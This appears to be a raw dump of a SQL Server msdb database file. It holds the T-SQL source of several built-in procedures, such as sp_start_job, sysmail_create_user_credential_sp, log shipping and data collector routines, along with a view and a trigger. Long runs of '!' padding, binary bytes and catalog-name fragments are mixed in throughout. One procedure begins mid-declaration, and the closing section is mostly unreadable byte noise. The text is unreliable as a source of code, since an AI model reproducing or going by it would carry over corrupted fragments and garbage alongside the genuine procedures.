!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!j?j`f<Mf00X 8CREATE PROCEDURE sp_start_job
  @job_name    sysname          = NULL,
  @job_id      UNIQUEIDENTIFIER = NULL,
  @error_flag  INT              = 1,    -- Set to 0 to suppress the error from sp_sqlagent_notify if SQLServerAgent is not running
  @server_name sysname          = NULL, -- The specific target server to start the [multi-server] job on
  @step_name   sysname          = NULL, -- The name of the job step to start execution with [for use with a local job only]
  @output_flag INT              = 1     -- Set to 0 to suppress the success message
AS
BEGIN
  DECLARE @job_id_as_char VARCHAR(36)
  DECLARE @retval         INT
  DECLARE @step_id        INT
  DECLARE @job_owner_sid  VARBINARY(85)

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @job_name    = LTRIM(RTRIM(@job_name))
  SELECT @server_name = UPPER(LTRIM(RTRIM(@server_name)))
  SELECT @step_name   = LTRIM(RTRIM(@step_name))

  -- Turn [nullable] empty string parameters into NULLs
  IF (@job_name = N'')    SELECT @job_name = NULL
  IF (@server_name = N'') SELECT @server_name = NULL
  IF (@step_name = N'')   SELECT @step_name = NULL

  EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                              '@job_id',
                                               @job_name OUTPUT,
                                               @job_id   OUTPUT,
                                               @owner_sid = @job_owner_sid OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- Check permissions beyond what's checked by the sysjobs_view
  -- SQLAgentReader role can see all jobs but
  -- cannot start/stop jobs they do not own
  IF (@job_owner_sid <> SUSER_SID()                      -- does not own the job
     AND (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 0)     -- is not sysadmin
     AND (ISNULL(IS_MEMBER(N'SQLAgentOperatorRole'), 0) = 0))  -- is not SQLAgentOperatorRole
  BEGIN
   RAISERROR(14393, -1, -1);  
   RETURN(1) -- Failure
  END

  IF (NOT EXISTS (SELECT *
                  FROM msdb.dbo.sysjobservers
                  WHERE (job_id = @job_id)))
  BEGIN
    SELECT @job_id_as_char = CONVERT(VARCHAR(36), @job_id)
    RAISERROR(14256, -1, -1, @job_name, @job_id_as_char)
    RETURN(1) -- Failure
  END

  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysjobservers
              WHERE (job_id = @job_id)
                AND (server_id = 0)))
  BEGIN
    -- The job is local, so start (run) the job locally

    -- Check the step name (if supplied)
    IF (@step_name IS NOT NULL)
    BEGIN
      SELECT @step_id = step_id
      FROM msdb.dbo.sysjobsteps
      WHERE (step_name = @step_name)
        AND (job_id = @job_id)

      IF (@step_id IS NULL)
      BEGIN
        RAISERROR(14262, -1, -1, '@step_name', @step_name)
        RETURN(1) -- Failure
      END
    END

    EXECUTE @retval = msdb.dbo.sp_sqlagent_notify @op_type     = N'J',
                                                  @job_id      = @job_id,
                                                  @schedule_id = @step_id, -- This is the start step
                                                  @action_type = N'S',
                                                  @error_flag  = @error_flag
    IF ((@retval = 0) AND (@output_flag = 1))
      RAISERROR(14243, 0, 1, @job_name)
  END
  ELSE
  BEGIN
    -- The job is a multi-server job

      -- Only sysadmin can start multi-server job
      IF (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1)
      BEGIN
         RAISERROR(14397, -1, -1);
         RETURN(1) -- Failure
      END            

    -- Check target server name (if any)
    IF (@server_name IS NOT NULL)
    BEGIN
      IF (NOT EXISTS (SELECT *
                      FROM msdb.dbo.systargetservers
                      WHERE (UPPER(server_name) = @server_name)))
      BEGIN
        RAISERROR(14262, -1, -1, '@server_name', @server_name)
        RETURN(1) -- Failure
      END
    END

    -- Re-post the job if it's an auto-delete job
    IF ((SELECT delete_level
         FROM msdb.dbo.sysjobs
         WHERE (job_id = @job_id)) <> 0)
      EXECUTE @retval = msdb.dbo.sp_post_msx_operation 'INSERT', 'JOB', @job_id, @server_name

    -- Post start instruction(s)
    EXECUTE @retval = msdb.dbo.sp_post_msx_operation 'START', 'JOB', @job_id, @server_name
  END

  RETURN(@retval) -- 0 means success
END
0,JY 8
CREATE PROCEDURE dbo.sysmail_verify_accountparams_sp
   @use_default_credentials bit,
   @mailserver_type sysname      OUTPUT,  -- @mailserver_type must be provided. Usually SMTP
   @username      nvarchar(128)  OUTPUT, -- returns trimmed value, NULL if empty
   @password      nvarchar(128)  OUTPUT  -- returns trimmed value,  NULL if empty
AS
   SET @username = LTRIM(RTRIM(@username))
   SET @password = LTRIM(RTRIM(@password))
   SET @mailserver_type = LTRIM(RTRIM(@mailserver_type))

    IF(@username = N'')         SET @username = NULL
    IF(@password = N'')         SET @password = NULL
    IF(@mailserver_type = N'')  SET @mailserver_type = NULL

   IF(@mailserver_type IS NULL)
   BEGIN
      RAISERROR(14614, -1, -1, @mailserver_type)   
      RETURN (1)  
   END

   -- default credentials should supercede any explicit credentials passed in
   IF((@use_default_credentials = 1) AND (@username IS NOT NULL))
   BEGIN
      RAISERROR(14666, -1, -1)   
      RETURN (1)
   END  

   --If a password is specified then @username must be a non empty string
   IF((@password IS NOT NULL) AND (@username IS NULL))
   BEGIN
      RAISERROR(14615, -1, -1)   
      RETURN (1)
   END  

   RETURN(0) -- SUCCESS
05&Y 8CREATE PROCEDURE [dbo].[sp_syscollector_text_query_plan_lookpup]
    @plan_handle varbinary(64),
    @statement_start_offset int,
    @statement_end_offset int
AS
BEGIN
    SET NOCOUNT ON
    SELECT    
        @plan_handle AS plan_handle,
        @statement_start_offset AS statement_start_offset,
        @statement_end_offset AS statement_end_offset,
        [dbid] AS database_id,
        [objectid] AS object_id,
        OBJECT_NAME(objectid, dbid) AS object_name,
        [query_plan] AS query_plan
    FROM    
        [sys].[dm_exec_text_query_plan](@plan_handle, @statement_start_offset, @statement_end_offset) dm
END
0+X )8CREATE VIEW [dbo].[syspolicy_policy_category_subscriptions]
AS
    SELECT     
        policy_category_subscription_id,
        target_type,
        target_object,
        policy_category_id
    FROM [dbo].[syspolicy_policy_category_subscriptions_internal]
0;{Y 58(sysdatetimeoffset())!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`g<`	IR0:] 8CREATE PROCEDURE sp_check_for_owned_jobsteps
  @login_name         sysname = NULL,  -- Supply this OR the database_X parameters, but not both
  @database_name      sysname = NULL,
  @database_user_name sysname = NULL
AS
BEGIN
  DECLARE @db_name            NVARCHAR(128)
  DECLARE @delimited_db_name  NVARCHAR(258)
  DECLARE @escaped_db_name    NVARCHAR(256) -- double sysname
  DECLARE @escaped_login_name NVARCHAR(256) -- double sysname

  SET NOCOUNT ON

  CREATE TABLE #work_table
  (
  database_name      sysname COLLATE database_default,
  database_user_name sysname COLLATE database_default
  )

  IF ((@login_name IS NOT NULL) AND (@database_name IS NULL) AND (@database_user_name IS NULL))
  BEGIN
    IF (SUSER_SID(@login_name, 0) IS NULL)--force case insensitive comparation for NT users
    BEGIN
      DROP TABLE #work_table

      RAISERROR(14262, -1, -1, '@login_name', @login_name)
      RETURN(1) -- Failure
    END

    DECLARE all_databases CURSOR LOCAL
    FOR
    SELECT name
    FROM master.dbo.sysdatabases

    OPEN all_databases
    FETCH NEXT FROM all_databases INTO @db_name

    -- Double up any single quotes in @login_name
    SELECT @escaped_login_name = REPLACE(@login_name, N'''', N'''''')

    WHILE (@@fetch_status = 0)
    BEGIN
      SELECT @delimited_db_name = QUOTENAME(@db_name, N'[')
      SELECT @escaped_db_name = REPLACE(@db_name, '''', '''''')
      EXECUTE(N'INSERT INTO #work_table
                SELECT N''' + @escaped_db_name + N''', name
                FROM ' + @delimited_db_name + N'.dbo.sysusers
                WHERE (sid = SUSER_SID(N''' + @escaped_login_name + N''', 0))')--force case insensitive comparation for NT users
      FETCH NEXT FROM all_databases INTO @db_name
    END

    DEALLOCATE all_databases

    -- If the login is an NT login, check for steps run as the login directly (as is the case with transient NT logins)
    IF (@login_name LIKE '%\%')
    BEGIN
      INSERT INTO #work_table
      SELECT database_name, database_user_name
      FROM msdb.dbo.sysjobsteps
      WHERE (database_user_name = @login_name)
    END
  END

  IF ((@login_name IS NULL) AND (@database_name IS NOT NULL) AND (@database_user_name IS NOT NULL))
  BEGIN
    INSERT INTO #work_table
    SELECT @database_name, @database_user_name
  END

  IF (EXISTS (SELECT *
              FROM #work_table wt,
                   msdb.dbo.sysjobsteps sjs
              WHERE (wt.database_name = sjs.database_name)
                AND (wt.database_user_name = sjs.database_user_name)))
  BEGIN
    SELECT sjv.job_id,
           sjv.name,
           sjs.step_id,
           sjs.step_name
    FROM #work_table           wt,
         msdb.dbo.sysjobsteps  sjs,
         msdb.dbo.sysjobs_view sjv
    WHERE (wt.database_name = sjs.database_name)
      AND (wt.database_user_name = sjs.database_user_name)
      AND (sjv.job_id = sjs.job_id)
    ORDER BY sjs.job_id
  END

  DROP TABLE #work_table
  RETURN(0) -- 0 means success
END
0] ,
8CREATE PROCEDURE [dbo].[sp_syscollector_upload_instmdw]
    @installpath              nvarchar(2048) = NULL
AS
BEGIN
    -- only dc_admin and dbo can setup MDW
    IF (NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14712, -1, -1) WITH LOG
        RETURN(1) -- Failure
    END

    IF (@installpath IS NULL)
    BEGIN
        EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\Setup', N'SQLPath', @installpath OUTPUT;
    
        IF RIGHT(@installpath, 1) != N'\' set @installpath = @installpath + N'\'
        SET @installpath  = @installpath + N'Install\'
    END

    DECLARE @filename nvarchar(2048);
    SET @filename = @installpath + N'instmdw.sql'
    PRINT 'Uploading instmdw.sql from disk: ' + @filename

    CREATE TABLE #bulkuploadinstmdwscript
        (
            [instmdwscript] nvarchar(max) NOT NULL
        );


    DECLARE @stmt_bulkinsert nvarchar(2048);
    SET @stmt_bulkinsert = N'
    BULK INSERT #bulkuploadinstmdwscript
    FROM ' 
        -- Escape any embedded single quotes (we can't use QUOTENAME here b/c it can't handle strings > 128 chars)
        + '''' + REPLACE(@filename COLLATE database_default, N'''', N'''''') + '''
    WITH
        (
            DATAFILETYPE = ''char'',
            FIELDTERMINATOR = ''dc:stub:ft'',
            ROWTERMINATOR = ''dc:stub:rt'',
            CODEPAGE = ''RAW''
        );
    ';

    EXECUTE sp_executesql @stmt_bulkinsert;

    DECLARE @bytesLoaded int
    SELECT @bytesLoaded = ISNULL (DATALENGTH ([instmdwscript]), 0) FROM #bulkuploadinstmdwscript
    PRINT 'Loaded ' + CONVERT (nvarchar, @bytesLoaded)
            + ' bytes from ' + '''' + REPLACE(@filename COLLATE database_default, N'''', N'''''') + ''''

    DECLARE @scriptdata varbinary(max)
    SELECT @scriptdata = convert(varbinary(max), [instmdwscript]) FROM #bulkuploadinstmdwscript;

    IF (EXISTS(SELECT * FROM [dbo].[syscollector_blobs_internal]
        WHERE parameter_name = N'InstMDWScript'))
    BEGIN
        UPDATE [dbo].[syscollector_blobs_internal]
        SET parameter_value = @scriptdata
        WHERE parameter_name = N'InstMDWScript'
    END
    ELSE
    BEGIN
        INSERT INTO [dbo].[syscollector_blobs_internal] (
            parameter_name, 
            parameter_value
        )
        VALUES
        (
            N'InstMDWScript',
            @scriptdata
        )
    END

    DROP TABLE #bulkuploadinstmdwscript
END
_server_name       sysname,
  @secondary_database_name     sysname,
  @secondary_plan_id           UNIQUEIDENTIFIER,
  @copy_enabled                BIT              = 1,
  @load_enabled                BIT              = 1,
  @out_of_sync_threshold       INT              = 60,
  @threshold_alert             INT              = 14421,
  @threshold_alert_enabled     BIT              = 1,
  @planned_outage_start_time   INT              = 0,
  @planned_outage_end_time     INT              = 0,
  @planned_outage_weekday_mask INT              = 0,
  @allow_role_change           BIT              = 0 
AS
BEGIN
  SET NOCOUNT ON
  IF NOT EXISTS (SELECT * FROM msdb.dbo.log_shipping_primaries where primary_id = @primary_id)
  BEGIN
    RAISERROR (14262, 16, 1, N'primary_id', N'msdb.dbo.log_shipping_primaries')
    RETURN(1)
  END

  INSERT INTO msdb.dbo.log_shipping_secondaries (
    primary_id,
    secondary_server_name,
    secondary_database_name,
    last_copied_filename,
    last_loaded_filename,
    last_copied_last_updated,
    last_loaded_last_updated,
    secondary_plan_id,
    copy_enabled,
    load_enabled,
    out_of_sync_threshold,
    threshold_alert,
    threshold_alert_enabled,
    planned_outage_start_time,
    planned_outage_end_time,
    planned_outage_weekday_mask,
    allow_role_change)
   VALUES (@primary_id,
    @secondary_server_name,
    @secondary_database_name,
    N'first_file_000000000000.trn',
    N'first_file_000000000000.trn',
    GETDATE (),
    GETDATE (),
    @secondary_plan_id,
    @copy_enabled,
    @load_enabled,
    @out_of_sync_threshold,
    @threshold_alert,
    @threshold_alert_enabled,
    @planned_outage_start_time,
    @planned_outage_end_time,
    @planned_outage_weekday_mask,
    @allow_role_change)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!pp`Y<
6Me90vfa 8CREATE PROCEDURE sp_sqlagent_check_msx_version
  @required_microsoft_version INT = NULL
AS
BEGIN
  SET NOCOUNT ON

  DECLARE @msx_version          NVARCHAR(16)
  DECLARE @required_msx_version NVARCHAR(16)

  IF (@required_microsoft_version IS NULL)
    SELECT @required_microsoft_version = 0x07000252 -- 7.0.594

  IF (@@microsoftversion < @required_microsoft_version)
  BEGIN
    SELECT @msx_version = CONVERT( NVARCHAR(2), CONVERT( INT, CONVERT( BINARY(1), @@microsoftversion / 0x1000000 ) ) )
   + N'.' 
   + CONVERT( NVARCHAR(2), CONVERT( INT, CONVERT( BINARY(1), CONVERT( BINARY(2), ((@@microsoftversion / 0x10000) % 0x100) ) ) ) )
   + N'.'
   + CONVERT( NVARCHAR(4), @@microsoftversion % 0x10000 )

    SELECT @required_msx_version = CONVERT( NVARCHAR(2), CONVERT( INT, CONVERT( BINARY(1), @required_microsoft_version / 0x1000000 ) ) )
   + N'.'
   + CONVERT( NVARCHAR(2), CONVERT( INT, CONVERT( BINARY(1), CONVERT( BINARY(2), ((@required_microsoft_version / 0x10000) % 0x100) ) ) ) )
   + N'.' 
   + CONVERT( NVARCHAR(4), @required_microsoft_version % 0x10000 )    

   RAISERROR(14541, -1, -1, @msx_version, @required_msx_version)
    RETURN(1) -- Failure
  END
  RETURN(0) -- Success
END
0-%b@ 48
CREATE PROCEDURE dbo.sysmail_create_user_credential_sp
   @username      nvarchar(128),
   @password      nvarchar(128),
   @credential_id int            OUTPUT
AS
   SET NOCOUNT ON
   DECLARE @rc int
   DECLARE @credential_name UNIQUEIDENTIFIER
   DECLARE @credential_name_as_str varchar(40)
   DECLARE @sql NVARCHAR(max)

   -- create a GUID as the name for the credential
   SET @credential_name = newid()
   SET @credential_name_as_str = convert(varchar(40), @credential_name)
   SET @sql = N'CREATE CREDENTIAL [' + @credential_name_as_str
            + N'] WITH IDENTITY = ' + QUOTENAME(@username, '''')
            + N', SECRET = ' + QUOTENAME(ISNULL(@password, N''), '''')

   EXEC @rc = sp_executesql @statement = @sql
   IF(@rc <> 0)
      RETURN @rc

   SELECT @credential_id = credential_id 
   FROM sys.credentials
   WHERE name = convert(sysname, @credential_name)
    IF(@credential_id IS NULL)
   BEGIN
      RAISERROR(14616, -1, -1, @credential_name_as_str)
      RETURN 1
   END

   RETURN(0)
0a +8CREATE PROCEDURE sp_log_shipping_in_sync
  @last_updated        DATETIME,
  @compare_with        DATETIME,
  @threshold           INT,
  @outage_start_time   INT,
  @outage_end_time     INT,
  @outage_weekday_mask INT,
  @enabled             BIT = 1,
  @delta               INT = NULL OUTPUT
AS BEGIN
  SET NOCOUNT ON
  DECLARE @cur_time INT

  SELECT @delta = DATEDIFF (mi, @last_updated, @compare_with)
  -- in sync
  IF (@delta <= @threshold)
    RETURN (0) -- in sync

  IF (@enabled = 0) 
    RETURN(0) -- in sync

  IF (@outage_weekday_mask & DATEPART(dw, GETDATE ()) > 0) -- potentially in outage window
  BEGIN
    SELECT @cur_time = DATEPART (hh, GETDATE()) * 10000 +
                       DATEPART (mi, GETDATE()) * 100 + 
                       DATEPART (ss, GETDATE())
     -- outage doesn't span midnight
    IF (@outage_start_time < @outage_end_time)
    BEGIN
      IF (@cur_time >= @outage_start_time AND @cur_time < @outage_end_time)
        RETURN(1) -- in outage
    END
     -- outage does span midnight
   ELSE IF (@outage_start_time > @outage_end_time)
   BEGIN
     IF (@cur_time >= @outage_start_time OR @cur_time < @outage_end_time)
       RETURN(1) -- in outage
   END
  END
  RETURN(-1 ) -- not in outage, not in sync
END
0{a e8CREATE TRIGGER [dbo].[syscollector_tsql_query_collector_delete_trigger] on [dbo].[syscollector_tsql_query_collector]
FOR DELETE
AS
BEGIN
    -- remove the SSIS packages left behind when the collection item is deleted 
    DECLARE @collection_package_id uniqueidentifier
    DECLARE @collection_package_folderid uniqueidentifier
    DECLARE @collection_package_name sysname

    DECLARE @upload_package_id  uniqueidentifier
    DECLARE @upload_package_folderid  uniqueidentifier
    DECLARE @upload_package_name  sysname

    DECLARE deleted_cursor CURSOR LOCAL FOR
        SELECT collection_package_id, upload_package_id
        FROM deleted
    
    OPEN deleted_cursor
    FETCH deleted_cursor INTO @collection_package_id, @upload_package_id

    WHILE @@FETCH_STATUS = 0
    BEGIN
        SELECT 
            @collection_package_name = name,
            @collection_package_folderid = folderid
        FROM sysssispackages
        WHERE @collection_package_id = id

        SELECT 
            @upload_package_name = name,
            @upload_package_folderid = folderid
        FROM sysssispackages
        WHERE @upload_package_id = id

        EXEC dbo.sp_ssis_deletepackage
            @name = @collection_package_name,
            @folderid = @collection_package_folderid

        EXEC dbo.sp_ssis_deletepackage
            @name = @upload_package_name,
            @folderid = @upload_package_folderid

        FETCH deleted_cursor INTO @collection_package_id, @upload_package_id
    END

    CLOSE deleted_cursor
    DEALLOCATE deleted_cursor
END
0b %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!M	`102&"]J00R<p7P J[+^\sp_verify_schedule00|F7U Z+^Rsqlagent_info00`d8P /['+^Vsp_add_schedule00j8U ,Z,+^Vsysdownloadlist00ĄX9P [;+^\sp_attach_schedule009U ͻZ@+^Rsysjobhistory00L:P [J+^\sp_detach_schedule00':U ?ZN+^bsysoriginatingservers006@;P 	[X+^~sp_update_replication_job_parameter00aV/8U )O[$+^^sysmail_attachments00z#9@F aV/8*O[9\xFK_sysmail_mailitems_mailitem_id00Ӟ:D aV/8*O[:\tDF__sysmail_a__last___3A179ED300;D aV/8*O[<\tDF__sysmail_a__last___3B0BC30C007L7P j["+^lsp_add_maintenance_plan_db00pp8P [9+^rsp_delete_maintenance_plan_db009P [G+^nsp_add_maintenance_plan_job00:P 5[S+^tsp_delete_maintenance_plan_job00
B7P /[+^|sp_syscollector_run_collection_set00Ff8TR
[4+^syscollector_collection_set_is_running_update_trigger009P [B+^sp_syscollector_stop_collection_set_jobs00:P [Q+^sp_syscollector_start_collection_set_jobs0077P \+^sp_syspolicy_verify_policy_category_identifiers00\8P 8\*+^xsp_syspolicy_add_policy_category00Ux9P \=+^~sp_syspolicy_delete_policy_category00l:P n\L+^~sp_syspolicy_rename_policy_category00`;P \[+^~sp_syspolicy_update_policy_category00QO8D Gr5V\7\tDF__sysutilit__volum__384F51F200+vC9D Gr5V\9\tDF__sysutilit__datab__3943762B00d7:D Gr5V\:\tDF__sysutilit__fileg__3A379A6400+;D Gr5	V\<\tDF__sysutilit__dbfil__3B2BBE9D00G8V \7\|sysutility_ucp_mi_cpu_utilizations00l9V =\9\sysutility_ucp_computer_cpu_utilizations00::V \;\~sysutility_ucp_dac_cpu_utilizations00s:P җ\V+^sp_sysutility_ucp_provision_utility_object_internal00=7U k\ +^~log_shipping_monitor_history_detail00a8U 
l\6+^zlog_shipping_monitor_error_detail009U 
l\E+^dlog_shipping_secondary00I:PK9m\n\tPK__log_ship__DB57D5B2C7A61B6Csp_syscollector_start_collection_set_jobs00ҕ;U 
